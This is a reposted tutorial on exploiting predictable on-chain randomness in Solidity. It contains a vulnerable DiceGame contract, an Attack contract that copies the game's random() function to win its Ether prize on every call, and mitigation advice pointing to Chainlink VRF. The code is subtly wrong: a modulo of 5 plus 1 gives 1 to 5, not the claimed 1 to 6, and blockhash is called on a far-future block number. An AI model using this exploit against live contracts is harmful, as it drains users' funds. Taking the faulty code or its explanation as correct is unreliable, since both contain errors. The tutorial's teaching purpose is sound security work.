[Tut] Smart Contract Randomness or ReplicatedLogic Attack - Printable Version +- Sick Gaming (https://www.sickgaming.net) +-- Forum: Programming (https://www.sickgaming.net/forum-76.html) +--- Forum: Python (https://www.sickgaming.net/forum-83.html) +--- Thread: [Tut] Smart Contract Randomness or ReplicatedLogic Attack (/thread-99522.html) |
[Tut] Smart Contract Randomness or ReplicatedLogic Attack - xSicKxBot - 06-07-2022 Smart Contract Randomness or ReplicatedLogic Attack <div><div class="kk-star-ratings kksr-valign-top kksr-align-left " data-payload="{"align":"left","id":"400042","slug":"default","valign":"top","reference":"auto","count":"1","readonly":"","score":"5","best":"5","gap":"5","greet":"Rate this post","legend":"5\/5 - (1 vote)","size":"24","width":"142.5","_legend":"{score}\/{best} - ({count} {votes})"}"> <div class="kksr-stars"> <div class="kksr-stars-inactive"> <div class="kksr-star" data-star="1" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" data-star="2" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" data-star="3" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" data-star="4" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" data-star="5" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> </p></div> <div class="kksr-stars-active" style="width: 142.5px;"> <div class="kksr-star" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> <div class="kksr-star" style="padding-right: 5px"> <div class="kksr-icon" style="width: 24px; height: 24px;"></div> </p></div> </p></div> </div> <div class="kksr-legend"> 5/5 – (1 vote) </div> </div> <figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"> <div class="wp-block-embed__wrapper"> <iframe loading="lazy" title="Hacking Smart Contracts - Randomness Or ReplicatedLogic Attack" width="780" height="439" src="https://www.youtube.com/embed/wdAZVP3q0r4?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </figure> <p>This is part 7 and a continuation of the <a href="https://blog.finxter.com/delegatecall-or-storage-collision-attack-on-smart-contracts/">Smart Contract Security Series.</a> </p> <ol> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/smart-contract-security-series-part-1-ownership-exploit/" target="_blank">Ownership Exploit</a></li> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/private-exploit-smart-contract-security-series-part-2/" target="_blank">Private Variable Exploit</a></li> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/reentrancy-attack-hacking-smart-contract-security-series-part-3/" target="_blank">Reentrancy Attack</a></li> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/tx-origin-phishing-attack-smart-contract-security-series-part-4/" target="_blank">tx.origin Phishing Attack</a></li> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/?p=318951" target="_blank">Denial of Service Attack</a></li> <li><a rel="noreferrer noopener" href="https://blog.finxter.com/delegatecall-or-storage-collision-attack-on-smart-contracts/" target="_blank">Storage Collision Attack</a></li> <li><a href="https://blog.finxter.com/randomness-or-replicatedlogic-attack-on-smart-contracts/" data-type="URL" data-id="https://blog.finxter.com/randomness-or-replicatedlogic-attack-on-smart-contracts/" target="_blank" rel="noreferrer noopener">Randomness Attack</a></li> </ol> <p>In this tutorial, the <strong><em>randomness attack</em></strong> or also called <strong><em>replicated logic attack</em></strong> is analyzed. </p> <p>The problem in <a href="https://academy.finxter.com/university/solidity-basics/">Solidi</a><a href="https://academy.finxter.com/university/solidity-basics/" target="_blank" rel="noreferrer noopener">t</a><a href="https://academy.finxter.com/university/solidity-basics/">y</a> contracts is finding the true source of <a href="https://blog.finxter.com/how-to-generate-random-numbers-in-solidity/" target="_blank" rel="noreferrer noopener">randomness</a>. </p> <p>We will see how generating a random number using on chain data cannot be trusted. </p> <p>The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration!</p> <h2><a></a>Exploit</h2> <p>To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract.</p> <p><strong>To keep it simple consider a contract game for guessing a dice.</strong></p> <p>The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether.</p> <p>The contract code for <strong><code>DiceGame.sol</code>.</strong></p> <pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">contract DiceGame { constructor() payable{ } function guess_the_dice(uint8 _guessDice) public { uint8 dice = random(); if (dice == _guessDice) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent , "failed to transfer"); } } // source of randomness (1-6) function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } }</pre> <p>The contract logic is briefly explained.</p> <ol type="1"> <li><code>constructor()</code> made payable to put some initial reward amount to the winner of the game.</li> <li><code>guess_the_dice()</code><em> </em>takes a param from the user (player), generates the random number, compares it with the user input number. If both are equal then the user (player) is rewarded with 1 Ether.</li> <li>The <code>random()</code> function uses the previous block number and the current block timestamp to get a random number. The previous block number (<code>block.number-1</code>) is used here because the <code>blockhash()</code> does not allow you to calculate it using the current block number as the current block is still under process w.r.t current transaction. Before the random value is returned we mod it by 5 and add 1 to keep the dice number between 1 to 6.</li> </ol> <p>The <strong><code>attack.sol</code></strong> contract.</p> <pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">contract Attack{ DiceGame dicegame; constructor(DiceGame _addrDicegame) { dicegame = _addrDicegame; } function attack() public{ uint8 guess= random(); dicegame.guess_the_dice(guess); } // source of randomness (1-6) copied from the DiceGame contract function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } // gets called to rx ether receive() external payable {} function get_balance() public view returns(uint256) { return address(this).balance; } }</pre> <p>The attack contract logic in detail.</p> <ol type="1"> <li>The <em>constructor</em> accepts the address of the deployed <code>DiceGame</code> contract so that it can interact with this contract.</li> <li>The <code>attack()</code> function uses or replicates the exact random function used by the <code>DiceGame</code> contract as the source code of the <code>DiceGame</code> contract is available as open-source or on etherscan (as part of contract section or verified contracts). After getting the random number it calls <code>guess_the_dice()</code>. </li> <li><code>get_balance()</code> gives the balance of the attacker contract.</li> </ol> <p>Copy the contracts in <a rel="noreferrer noopener" href="https://blog.finxter.com/top-10-solidity-tutorials/" data-type="post" data-id="262867" target="_blank">Remix</a> and execute them.</p> <h2>How the Exploit Occurred</h2> <p>As you can see, every time the attacker calls the <code>attack()</code> function, he/she is able to match it exactly with the number in the <code>guess_the_dice()</code> function of the <code>DiceGame</code> contract. </p> <p>As the <code>random()</code> function was replicated from the <code>DiceGame</code> contract, it will generate the same random number in <code>attack()</code> and <code>guess_the_dice()</code> as both functions will be part of the same transaction, in other words, the same block.</p> <h2>How to Prevent the Attack</h2> <ul> <li>The attack can be prevented if any on-chain data such as <code>blockhash</code>, <code>block.number</code>, <code>block.timestamp</code> is not used as the source of randomness in the contracts.</li> <li>Use <a rel="noreferrer noopener" href="https://docs.chain.link/docs/chainlink-vrf/" target="_blank">ChainlinkVRF</a> as the source of true randomness in contracts.</li> </ul> <h2>Summary</h2> <p>In this tutorial, we saw how assuming that the on-chain data related to blockchain such as <code>block.timestamp</code> or <code>block.number</code> can give us true randomness that cannot be duplicated or exploited. </p> <p>While it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number.</p> <h2>Programmer Humor</h2> <pre class="wp-block-preformatted has-global-color-8-background-color has-background"><code><strong>Q</strong>: How do you tell an introverted computer scientist from an extroverted computer scientist? <strong>A</strong>: An extroverted computer scientist looks at <strong><em>your</em></strong> shoes when he talks to you.</code></pre> <div class="wp-block-image"> <figure class="aligncenter size-full"><a href="https://academy.finxter.com/university/solidity-basics/" target="_blank" rel="noopener"><img loading="lazy" width="363" height="650" src="https://blog.finxter.com/wp-content/uploads/2022/05/image-308.png" alt="" class="wp-image-387313" srcset="https://blog.finxter.com/wp-content/uploads/2022/05/image-308.png 363w, https://blog.finxter.com/wp-content/uploads/2022/05/image-308-168x300.png 168w" sizes="(max-width: 363px) 100vw, 363px" /></a></figure> </div> </div> https://www.sickgaming.net/blog/2022/05/31/smart-contract-randomness-or-replicatedlogic-attack/ |